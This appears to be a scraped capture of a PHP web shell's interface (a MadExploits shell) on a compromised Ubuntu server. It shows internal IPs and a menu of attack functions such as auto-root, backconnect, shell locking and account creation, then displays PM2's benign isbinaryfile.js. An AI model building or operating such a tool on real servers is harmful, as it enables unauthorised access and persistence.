Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
events /
node_modules /
pm2 /
lib /
tools /
[ HOME SHELL ]
Name
Size
Permission
Action
Config.js
6.09
KB
-rw-rw-r--
IsAbsolute.js
606
B
-rw-rw-r--
copydirSync.js
2.8
KB
-rw-rw-r--
deleteFolderRecursive.js
480
B
-rw-rw-r--
find-package-json.js
1.73
KB
-rw-rw-r--
fmt.js
2.04
KB
-rw-rw-r--
isbinaryfile.js
2.64
KB
-rw-rw-r--
json5.js
22.94
KB
-rw-rw-r--
open.js
1.57
KB
-rw-rw-r--
passwd.js
1.13
KB
-rw-rw-r--
promise.min.js
2.59
KB
-rw-rw-r--
sexec.js
1.17
KB
-rw-rw-r--
treeify.js
3.46
KB
-rw-rw-r--
which.js
3.49
KB
-rw-rw-r--
xdg-open
20.93
KB
-rwxrwxr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : isbinaryfile.js
/** * Copyright 2013-2022 the PM2 project authors. All rights reserved. * Use of this source code is governed by a license that * can be found in the LICENSE file. */ var fs = require('fs'); var max_bytes = 512; module.exports = function(bytes, size) { // Read the file with no encoding for raw buffer access. if (size === undefined) { var file = bytes; try { if(!fs.statSync(file).isFile()) return false; } catch (err) { // otherwise continue on } var descriptor = fs.openSync(file, 'r'); try { bytes = Buffer.alloc(max_bytes); size = fs.readSync(descriptor, bytes, 0, bytes.length, 0); } finally { fs.closeSync(descriptor); } } // async version has a function instead of a `size` else if (typeof size === "function") { var file = bytes, callback = size; fs.stat(file, function(err, stat) { if (err || !stat.isFile()) return callback(null, false); fs.open(file, 'r', function(err, descriptor){ if (err) return callback(err); var bytes = Buffer.alloc(max_bytes); // Read the file with no encoding for raw buffer access. fs.read(descriptor, bytes, 0, bytes.length, 0, function(err, size, bytes){ fs.close(descriptor, function(err2){ if (err || err2) return callback(err || err2); return callback(null, isBinaryCheck(bytes, size)); }); }); }); }); } return isBinaryCheck(bytes, size); } function isBinaryCheck(bytes, size) { if (size === 0) return false; var suspicious_bytes = 0; var total_bytes = Math.min(size, max_bytes); if (size >= 3 && bytes[0] == 0xEF && bytes[1] == 0xBB && bytes[2] == 0xBF) { // UTF-8 BOM. This isn't binary. return false; } for (var i = 0; i < total_bytes; i++) { if (bytes[i] === 0) { // NULL byte--it's binary! return true; } else if ((bytes[i] < 7 || bytes[i] > 14) && (bytes[i] < 32 || bytes[i] > 127)) { // UTF-8 detection if (bytes[i] > 193 && bytes[i] < 224 && i + 1 < total_bytes) { i++; if (bytes[i] > 127 && bytes[i] < 192) { continue; } } else if (bytes[i] > 223 && bytes[i] < 240 && i + 2 < total_bytes) { i++; if (bytes[i] > 127 && bytes[i] < 192 && bytes[i + 1] > 127 && bytes[i + 1] < 192) { i++; continue; } } suspicious_bytes++; // Read at least 32 bytes before making a decision if (i > 32 && (suspicious_bytes * 100) / total_bytes > 10) { return true; } } } if ((suspicious_bytes * 100) / total_bytes > 10) { return true; } return false; }
Close